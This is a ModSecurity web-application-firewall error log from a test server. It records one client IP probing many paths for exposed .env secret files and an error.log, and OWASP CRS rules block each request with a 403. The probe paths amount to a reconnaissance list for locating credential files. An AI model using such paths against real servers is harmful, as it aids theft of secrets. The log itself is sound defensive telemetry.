[Wed Feb 25 06:05:08.187800 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/flight/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYeAAAAAc&quot;]
[Wed Feb 25 06:05:08.188101 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYeAAAAAc&quot;]
[Wed Feb 25 06:05:08.188304 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYeAAAAAc&quot;]
[Wed Feb 25 06:05:08.223327 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/php-apache/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7AAAAAA&quot;]
[Wed Feb 25 06:05:08.223622 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7AAAAAA&quot;]
[Wed Feb 25 06:05:08.223819 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7AAAAAA&quot;]
[Wed Feb 25 06:05:08.297813 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/kitchensink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYeQAAAAc&quot;]
[Wed Feb 25 06:05:08.298101 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYeQAAAAc&quot;]
[Wed Feb 25 06:05:08.298335 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYeQAAAAc&quot;]
[Wed Feb 25 06:05:08.381359 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7QAAAAA&quot;]
[Wed Feb 25 06:05:08.381662 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7QAAAAA&quot;]
[Wed Feb 25 06:05:08.381860 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7QAAAAA&quot;]
[Wed Feb 25 06:05:08.414018 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYegAAAAc&quot;]
[Wed Feb 25 06:05:08.414320 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYegAAAAc&quot;]
[Wed Feb 25 06:05:08.414568 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYegAAAAc&quot;]
[Wed Feb 25 06:05:08.460657 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7gAAAAA&quot;]
[Wed Feb 25 06:05:08.460974 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7gAAAAA&quot;]
[Wed Feb 25 06:05:08.461176 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7gAAAAA&quot;]
[Wed Feb 25 06:05:08.497737 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7wAAAAA&quot;]
[Wed Feb 25 06:05:08.498042 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7wAAAAA&quot;]
[Wed Feb 25 06:05:08.498254 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia7wAAAAA&quot;]
[Wed Feb 25 06:05:08.534118 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8AAAAAA&quot;]
[Wed Feb 25 06:05:08.534647 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8AAAAAA&quot;]
[Wed Feb 25 06:05:08.534943 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8AAAAAA&quot;]
[Wed Feb 25 06:05:08.541490 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask_test_uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYewAAAAc&quot;]
[Wed Feb 25 06:05:08.541779 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYewAAAAc&quot;]
[Wed Feb 25 06:05:08.541974 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYewAAAAc&quot;]
[Wed Feb 25 06:05:08.561976 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /envs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8QAAAAA&quot;]
[Wed Feb 25 06:05:08.562246 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8QAAAAA&quot;]
[Wed Feb 25 06:05:08.562454 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8QAAAAA&quot;]
[Wed Feb 25 06:05:08.587517 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8gAAAAA&quot;]
[Wed Feb 25 06:05:08.588433 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia8gAAAAA&quot;]
